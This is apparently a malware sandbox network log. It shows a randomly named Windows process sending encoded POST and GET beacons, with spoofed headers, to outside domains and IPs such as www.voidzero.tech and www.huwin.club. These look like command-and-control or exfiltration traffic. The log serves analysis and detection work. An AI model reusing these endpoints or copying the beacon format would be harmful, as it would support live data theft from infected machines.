Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50020	84.32.84.32	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:20:05.903089046 CEST	763	OUT	POST /2vbz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.voidzero.tech Origin: http://www.voidzero.tech Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 226 Referer: http://www.voidzero.tech/2vbz/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 6e 6e 6f 35 56 6e 7a 70 70 72 35 4d 53 74 42 6d 4f 46 53 35 6d 53 4b 2b 67 54 76 6d 4e 4a 63 36 7a 39 57 32 42 63 39 50 62 30 79 68 66 76 72 52 63 73 70 75 64 57 6f 72 49 36 75 73 59 6b 69 6a 70 37 53 47 46 4a 2b 4a 57 66 50 4e 57 49 4a 61 35 32 69 57 53 75 38 59 49 35 2b 6b 79 4a 6d 4d 31 30 6a 68 50 34 72 46 2b 71 50 41 59 63 44 62 30 35 7a 69 72 6d 55 55 56 38 7a 5a 43 33 56 63 47 44 51 68 50 57 6c 71 6b 34 37 53 55 63 33 49 50 47 73 6d 73 6d 66 31 74 77 68 5a 78 62 66 30 61 49 61 71 79 74 61 59 6d 6b 50 61 4c 79 34 49 39 67 73 78 2b 41 52 6b 6b 36 41 55 67 6e 49 65 47 49 47 73 76 73 49 4f 72 6d 37 49 56 4d 51 79 62 56 69 58 42 41 2b 54 79 2f 5a 43 Data Ascii: 7Bohe=nno5Vnzppr5MStBmOFS5mSK+gTvmNJc6z9W2Bc9Pb0yhfvrRcspudWorI6usYkijp7SGFJ+JWfPNWIJa52iWSu8YI5+kyJmM10jhP4rF+qPAYcDb05zirmUUV8zZC3VcGDQhPWlqk47SUc3IPGsmsmf1twhZxbf0aIaqytaYmkPaLy4I9gsx+ARkk6AUgnIeGIGsvsIOrm7IVMQybViXBA+Ty/ZC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50021	84.32.84.32	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:20:08.450793982 CEST	1780	OUT	POST /2vbz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.voidzero.tech Origin: http://www.voidzero.tech Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1242 Referer: http://www.voidzero.tech/2vbz/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 6e 6e 6f 35 56 6e 7a 70 70 72 35 4d 53 74 42 6d 4f 46 53 35 6d 53 4b 2b 67 54 76 6d 4e 4a 63 36 7a 39 57 32 42 63 39 50 62 30 36 68 65 64 6a 52 63 4c 64 75 63 57 6f 72 57 71 75 70 59 6b 69 75 70 34 69 43 46 4a 79 2f 57 61 4c 4e 48 65 56 61 77 6b 4b 57 62 75 38 59 51 35 2b 6c 32 4a 6d 5a 31 79 44 6c 50 34 37 46 2b 71 50 41 59 61 6e 62 67 59 7a 69 70 6d 55 58 53 38 7a 6a 51 48 56 6b 47 44 59 78 50 57 67 52 78 59 62 53 55 34 54 49 63 46 45 6d 67 6d 66 33 73 41 67 4b 78 62 69 30 61 49 47 4d 79 74 65 2b 6d 6d 76 61 49 54 39 53 68 78 41 33 36 44 5a 6c 69 49 34 71 69 6e 56 34 48 62 53 62 70 64 34 4b 76 6b 53 67 65 4c 6f 44 4a 68 33 76 63 46 72 49 77 49 77 73 64 58 73 45 6e 50 55 55 6e 66 4a 48 68 5a 73 52 44 63 55 66 5a 2b 30 57 64 32 30 56 6f 42 62 57 44 6f 53 36 6a 54 62 33 49 43 4d 35 58 39 47 6a 6d 44 6e 39 32 58 77 73 72 49 59 57 6c 6b 6b 69 51 61 6b 32 75 47 68 74 46 56 67 48 42 4f 71 34 35 6d 70 54 78 68 36 55 32 52 77 73 36 36 6b 2f 43 61 58 30 47 6b 64 42 64 66 2f 2b 4f 38 51 38 [TRUNCATED] Data Ascii: 7Bohe=nno5Vnzppr5MStBmOFS5mSK+gTvmNJc6z9W2Bc9Pb06hedjRcLducWorWqupYkiup4iCFJy/WaLNHeVawkKWbu8YQ5+l2JmZ1yDlP47F+qPAYanbgYzipmUXS8zjQHVkGDYxPWgRxYbSU4TIcFEmgmf3sAgKxbi0aIGMyte+mmvaIT9ShxA36DZliI4qinV4HbSbpd4KvkSgeLoDJh3vcFrIwIwsdXsEnPUUnfJHhZsRDcUfZ+0Wd20VoBbWDoS6jTb3ICM5X9GjmDn92XwsrIYWlkkiQak2uGhtFVgHBOq45mpTxh6U2Rws66k/CaX0GkdBdf/+O8Q842TBrjfYlflM5fQhD8VBDaziC0A8tXwIMtr45rVmRd23bFIkBb3ea3FQRcQz/6YoEoIx27MHkNxAdO137fskfQM2lrsgfMABmOAa0NNDLyhzHiZyjsIGv06BbYq74NymbEWD1abz4DESnefEFOiS9+cfvDR+bVWes28o75pvbxijW6OB44VdszivbozWXnT9BChBtntstZxnBU3Ohl65kuypDnZHhr8wwwYEE4amYcXo8/BOK5s3VusIZWfy+K+M4GTmr+/bK6vw2jPUIpA8Nk5W6hEKnQqpEmUKtRhoLqhfwDeQso0WA3kspLtXcHaV0JvjYF9bKhOGbUvQ6Qh/fS1MIOEKCOSScRPDMmLTCtQBQ7JX7U/fha+bTn7wEtZM1Q+6+M3X4i0CqmmgVDuNbu0EXJe0KenJc03+WOcTrx96sVP+hMDZh13vhqr3Mxuj1p5kWv3VFJ27jpPod1sBuLKkOfYvvJi5EiqTCpn1vB3ZtBKz2UZowb9qFoavcMn4pi7zp8Qe/l09UkvGDa0UYUoSLdHoD17teS8NNWoaw1NHvLt7RRwNiYagZs0kIZjrZa0NUn6+hiK+oYXfPAvjsJpzW9A3RjJtN83W7FRcxfAGbJc3MvpjTfWFk8oq/mh5I7a34tnnjLpeMsdXlnNLU95f419xC5+y5G [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50022	84.32.84.32	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:20:11.091556072 CEST	483	OUT	GET /2vbz/?7Bohe=qlAZWX/ch455H6hDeAWyjxeCoVjeFLImmNyoFLJZcRWWfOSwb/dYbmE5Lo+ESXiDiuCMQOi3bdztXr54sGaKYuw5X5+G7ZC+wzrMILyG35q/IsHjv6ziuhAlYbb1UGsQUw==&vD=h0e85v HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.voidzero.tech Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Oct 24, 2024 15:20:11.897954941 CEST	1236	IN	HTTP/1.1 200 OK Server: hcdn Date: Thu, 24 Oct 2024 13:20:11 GMT Content-Type: text/html Content-Length: 10072 Connection: close Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 41a73d54845e6844977d062eeb229dfe-int-edge2 Expires: Thu, 24 Oct 2024 13:20:10 GMT Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f [TRUNCATED] Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"
Oct 24, 2024 15:20:11.897986889 CEST	1236	IN	Data Raw: 4f 70 65 6e 20 53 61 6e 73 22 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 3b 62 61 Data Ascii: Open Sans",Helvetica,sans-serif;color:#000;padding:0;margin:0;line-height:1.428;background:linear-gradient(10.7deg,#e9edfb -50.21%,#f6f8fd 31.11%,#fff 166.02%)}h1,h2,h3,h4,h5,h6,p{padding:0;margin:0;color:#333}h1{font-size:30px;font-weight:600
Oct 24, 2024 15:20:11.898009062 CEST	1236	IN	Data Raw: 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 35 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 35 70 78 7d 2e 6e 61 76 62 61 72 2d 6e 61 76 3e 6c 69 3e 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 Data Ascii: x;font-size:13px;padding-left:5px;padding-right:5px}.navbar-nav>li>a:hover{text-decoration:none;color:#cdc3ea!important}.navbar-nav>li>a i{margin-right:5px}.nav-bar img{position:relative;top:3px}.congratz{margin:0 auto;text-align:center}.top-c
Oct 24, 2024 15:20:11.898046970 CEST	1236	IN	Data Raw: 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 61 76 62 61 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 61 76 62 61 72 2d 69 6e 76 65 72 73 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f Data Ascii: r:#fff!important}.navbar{border-radius:0!important}.navbar-inverse{background-color:#36344d;border:none}.column-custom-wrap{padding-top:10px 20px}.badge{font-size:12px;line-height:16px;min-height:20px;min-width:20px;vertical-align:middle;text-
Oct 24, 2024 15:20:11.898066044 CEST	1236	IN	Data Raw: 65 6c 63 6f 6d 65 2f 69 6d 61 67 65 73 2f 68 6f 73 74 69 6e 67 65 72 2d 6c 6f 67 6f 2e 73 76 67 20 61 6c 74 3d 48 6f 73 74 69 6e 67 65 72 20 77 69 64 74 68 3d 31 32 30 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c Data Ascii: elcome/images/hostinger-logo.svg alt=Hostinger width=120></a></div><div class="collapse navbar-collapse" id=myNavbar><ul class="nav navbar-links navbar-nav navbar-right"><li><a href=https://www.hostinger.com/tutorials rel=nofollow><i aria-hidd
Oct 24, 2024 15:20:11.898085117 CEST	1236	IN	Data Raw: 78 20 63 6f 6c 75 6d 6e 2d 77 72 61 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 73 2d 31 32 20 63 6f 6c 2d 73 6d 2d 34 20 63 6f 6c 75 6d 6e 2d 63 75 73 74 6f 6d 2d 77 72 61 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 6f 6c 75 6d Data Ascii: x column-wrap"><div class="col-xs-12 col-sm-4 column-custom-wrap"><div class=column-custom><div class=column-title><span style=margin-right:8px>Buy website hosting </span><span class=badge>Save 90%</span></div><br><p>Extremely fast, secure and
Oct 24, 2024 15:20:11.898107052 CEST	1236	IN	Data Raw: 28 29 7b 74 68 69 73 2e 75 74 66 31 36 3d 7b 64 65 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 66 6f 72 28 76 61 72 20 72 2c 65 2c 6e 3d 5b 5d 2c 74 3d 30 2c 61 3d 6f 2e 6c 65 6e 67 74 68 3b 74 3c 61 3b 29 7b 69 66 28 35 35 32 39 36 3d 3d Data Ascii: (){this.utf16={decode:function(o){for(var r,e,n=[],t=0,a=o.length;t<a;){if(55296==(63488&(r=o.charCodeAt(t++)))){if(e=o.charCodeAt(t++),55296!=(64512&r)\|\|56320!=(64512&e))throw new RangeError("UTF-16(decode): Illegal UTF-16 sequence");r=((1023
Oct 24, 2024 15:20:11.898231983 CEST	1236	IN	Data Raw: 28 22 70 75 6e 79 63 6f 64 65 5f 62 61 64 5f 69 6e 70 75 74 28 32 29 22 29 3b 69 66 28 73 3e 4d 61 74 68 2e 66 6c 6f 6f 72 28 28 72 2d 66 29 2f 70 29 29 74 68 72 6f 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 70 75 6e 79 63 6f 64 65 5f 6f 76 65 72 Data Ascii: ("punycode_bad_input(2)");if(s>Math.floor((r-f)/p))throw RangeError("punycode_overflow(1)");if(f+=sp,s<(C=g<=i?1:i+26<=g?26:g-i))break;if(p>Math.floor(r/(o-C)))throw RangeError("punycode_overflow(2)");p=o-C}if(i=n(f-l,h=m.length+1,0===l),Mat
Oct 24, 2024 15:20:11.898252964 CEST	524	IN	Data Raw: 77 5b 64 5d 3f 31 3a 30 29 29 29 2c 75 3d 6e 28 66 2c 69 2b 31 2c 69 3d 3d 63 29 2c 66 3d 30 2c 2b 2b 69 7d 7d 2b 2b 66 2c 2b 2b 68 7d 72 65 74 75 72 6e 20 79 2e 6a 6f 69 6e 28 22 22 29 7d 2c 74 68 69 73 2e 54 6f 41 53 43 49 49 3d 66 75 6e 63 74 Data Ascii: w[d]?1:0))),u=n(f,i+1,i==c),f=0,++i}}++f,++h}return y.join("")},this.ToASCII=function(o){for(var r=o.split("."),e=[],n=0;n<r.length;++n){var t=r[n];e.push(t.match(/[^A-Za-z0-9-]/)?"xn--"+punycode.encode(t):t)}return e.join(".")},this.ToUnicode

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50023	3.33.130.190	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:20:17.070478916 CEST	734	OUT	POST /cvus/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.huwin.club Origin: http://www.huwin.club Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 206 Referer: http://www.huwin.club/cvus/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 47 34 58 6f 6a 6b 66 62 6d 30 63 67 56 2b 71 57 48 71 4a 44 70 79 34 2b 47 64 6f 49 50 49 53 54 34 41 4a 6c 6b 5a 53 53 2b 48 67 4a 4e 58 30 42 37 76 59 66 35 49 43 64 35 46 34 57 35 44 57 30 65 6d 36 61 36 2f 36 73 66 48 66 41 6d 61 57 6f 74 6e 47 73 4c 68 62 56 44 66 36 43 79 44 2f 5a 31 6b 73 71 52 4f 2f 62 6c 43 46 52 66 36 58 37 54 56 57 42 57 51 38 50 56 79 51 78 53 42 65 71 36 75 4d 4b 72 77 53 78 45 2f 62 39 4d 58 47 56 7a 37 33 70 71 77 42 30 59 45 49 41 61 59 55 4a 50 6b 39 4b 43 32 31 30 72 7a 73 64 59 65 67 30 65 58 56 46 6c 71 51 44 6a 31 43 70 30 52 4c 68 70 71 38 50 74 39 41 3d Data Ascii: 7Bohe=G4Xojkfbm0cgV+qWHqJDpy4+GdoIPIST4AJlkZSS+HgJNX0B7vYf5ICd5F4W5DW0em6a6/6sfHfAmaWotnGsLhbVDf6CyD/Z1ksqRO/blCFRf6X7TVWBWQ8PVyQxSBeq6uMKrwSxE/b9MXGVz73pqwB0YEIAaYUJPk9KC210rzsdYeg0eXVFlqQDj1Cp0RLhpq8Pt9A=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50024	3.33.130.190	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:20:19.623116016 CEST	754	OUT	POST /cvus/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.huwin.club Origin: http://www.huwin.club Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 226 Referer: http://www.huwin.club/cvus/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 47 34 58 6f 6a 6b 66 62 6d 30 63 67 45 74 79 57 47 4a 68 44 2b 43 34 39 62 74 6f 49 42 6f 53 58 34 41 31 6c 6b 62 2b 38 2b 31 30 4a 4e 33 6b 42 38 61 73 66 36 49 43 64 72 6c 35 63 33 6a 57 6a 65 6d 32 34 36 2f 47 73 66 48 62 41 6d 62 6d 6f 74 55 2b 72 4b 78 62 54 62 76 36 41 38 6a 2f 5a 31 6b 73 71 52 4f 72 31 6c 42 31 52 66 72 6e 37 54 30 57 43 4b 41 38 4d 53 79 51 78 44 52 66 74 36 75 4d 6f 72 78 50 55 45 38 6a 39 4d 57 61 56 30 71 33 75 67 77 42 79 57 6b 4a 77 5a 71 42 57 44 55 35 34 66 58 6f 56 39 67 55 33 5a 6f 4e 65 45 31 64 74 32 4b 38 37 7a 6d 4b 65 6c 68 71 49 7a 4a 73 2f 7a 71 58 41 42 6e 46 64 52 67 78 63 54 4c 58 39 44 68 62 51 33 5a 44 34 Data Ascii: 7Bohe=G4Xojkfbm0cgEtyWGJhD+C49btoIBoSX4A1lkb+8+10JN3kB8asf6ICdrl5c3jWjem246/GsfHbAmbmotU+rKxbTbv6A8j/Z1ksqROr1lB1Rfrn7T0WCKA8MSyQxDRft6uMorxPUE8j9MWaV0q3ugwByWkJwZqBWDU54fXoV9gU3ZoNeE1dt2K87zmKelhqIzJs/zqXABnFdRgxcTLX9DhbQ3ZD4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50025	3.33.130.190	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:20:22.168350935 CEST	1771	OUT	POST /cvus/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.huwin.club Origin: http://www.huwin.club Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1242 Referer: http://www.huwin.club/cvus/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 47 34 58 6f 6a 6b 66 62 6d 30 63 67 45 74 79 57 47 4a 68 44 2b 43 34 39 62 74 6f 49 42 6f 53 58 34 41 31 6c 6b 62 2b 38 2b 31 73 4a 4e 6b 63 42 2f 35 30 66 37 49 43 64 77 6c 35 66 33 6a 57 2b 65 6d 75 38 36 2f 4c 5a 66 46 7a 41 6e 35 43 6f 36 56 2b 72 42 78 62 54 53 50 36 42 79 44 2f 32 31 6c 41 75 52 4f 37 31 6c 42 31 52 66 6f 50 37 44 31 57 43 49 41 38 50 56 79 51 4c 53 42 66 4a 36 75 45 5a 72 78 4b 68 45 4d 44 39 4e 32 4b 56 79 59 76 75 39 41 42 77 62 45 4a 6f 5a 71 64 7a 44 55 30 44 66 58 63 7a 39 67 73 33 62 2b 55 52 52 30 42 6e 67 4a 4d 37 7a 45 69 73 79 55 71 57 31 61 63 50 73 34 57 36 46 33 46 77 52 6e 68 6f 59 4c 75 76 59 6e 6a 38 79 4a 32 62 70 2b 56 44 37 68 59 67 58 52 32 62 6b 52 58 57 33 4f 46 66 55 2b 46 66 50 42 47 75 33 33 68 44 58 63 48 30 79 52 7a 71 41 6f 34 65 62 4c 4f 4b 33 6e 6a 37 65 59 31 47 6c 72 37 6b 46 35 65 71 42 6e 6a 65 5a 55 31 55 6e 38 73 6d 71 47 48 69 54 4e 5a 42 69 5a 49 65 30 62 42 33 36 55 32 74 6b 39 4e 39 42 4a 6a 59 55 63 2b 7a 57 75 79 70 [TRUNCATED] Data Ascii: 7Bohe=G4Xojkfbm0cgEtyWGJhD+C49btoIBoSX4A1lkb+8+1sJNkcB/50f7ICdwl5f3jW+emu86/LZfFzAn5Co6V+rBxbTSP6ByD/21lAuRO71lB1RfoP7D1WCIA8PVyQLSBfJ6uEZrxKhEMD9N2KVyYvu9ABwbEJoZqdzDU0DfXcz9gs3b+URR0BngJM7zEisyUqW1acPs4W6F3FwRnhoYLuvYnj8yJ2bp+VD7hYgXR2bkRXW3OFfU+FfPBGu33hDXcH0yRzqAo4ebLOK3nj7eY1Glr7kF5eqBnjeZU1Un8smqGHiTNZBiZIe0bB36U2tk9N9BJjYUc+zWuypB0fqdZu6tdywidYe//1ubagrAW06OFAqx0oMJnTYrE5dDp2IjDPYWOe8jArGZfAJiLAv/X4vTo+516hP+4ArUS1AVsIhWFTr81/euz40N4oULJoTZAXbdfIOaN/mYVG2sr6QMJaQ6Pq6ifIRsmATCZ3BdQfKjjkdZWFx/ou/Q1xfB1iBpSm9zjveIXSB6lgBiLLCGmtUbv8WOLsnaqCZEL165xVkvkpCeiMs40RcKPuupy8nGLLqImY//usnBcbo1BZ6J13hVTjDiklQLWJzRPSa9qoUcIFBjLVfqtyCvI1b8aHH+wyDBOFgNIr4wBrCUPZqK/ElU6gYiO+XuwC0Uh0/pKWejKEAB6gNhDLFl15yRZQ39HMk0Fho9yzwU3fRZQk9IxCcshJ3dHbH+oMKngAKxfQWwoJjElFpsuvnRruhp3iAWXJdIY68nFBvCAPPlOyfduoY8Ic4M7L2HmnTWl/ctHYq6Ap+CFmBxqTetwjsxbMagnrpXUjMz97mPvEFfurqQDzm5ELYdmrqWDKbE76KdS3UaEbA/6te2Pg2mWNsF9U3tcp6S092ddy3yG6g0kyDGjliAwtLukalT9KYzdWfxHQUXpVvhPdewrFB1Ht59IZ9FJSESAQXPGqaDNKhbnhBU2tnlOmNQ3J8ZIe+N4vW+Vv0/W74qn [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50026	3.33.130.190	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:20:24.710629940 CEST	480	OUT	GET /cvus/?7Bohe=L6/IgR7jnWgHAqCUWtdTnyQ3KOMoF6iy/gVxl52J0nU+SVs5srMG6NDyylAnxUOxWBqWqLnFW3nZioCT6UqXKC7zbsKc4BTPzCMAY+nXmzAcPovgamuSI2ghdEMnHjenpA==&vD=h0e85v HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.huwin.club Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Oct 24, 2024 15:20:25.337759972 CEST	403	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 24 Oct 2024 13:20:25 GMT Content-Type: text/html Content-Length: 263 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 37 42 6f 68 65 3d 4c 36 2f 49 67 52 37 6a 6e 57 67 48 41 71 43 55 57 74 64 54 6e 79 51 33 4b 4f 4d 6f 46 36 69 79 2f 67 56 78 6c 35 32 4a 30 6e 55 2b 53 56 73 35 73 72 4d 47 36 4e 44 79 79 6c 41 6e 78 55 4f 78 57 42 71 57 71 4c 6e 46 57 33 6e 5a 69 6f 43 54 36 55 71 58 4b 43 37 7a 62 73 4b 63 34 42 54 50 7a 43 4d 41 59 2b 6e 58 6d 7a 41 63 50 6f 76 67 61 6d 75 53 49 32 67 68 64 45 4d 6e 48 6a 65 6e 70 41 3d 3d 26 76 44 3d 68 30 65 38 35 76 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?7Bohe=L6/IgR7jnWgHAqCUWtdTnyQ3KOMoF6iy/gVxl52J0nU+SVs5srMG6NDyylAnxUOxWBqWqLnFW3nZioCT6UqXKC7zbsKc4BTPzCMAY+nXmzAcPovgamuSI2ghdEMnHjenpA==&vD=h0e85v"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50027	129.226.176.90	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
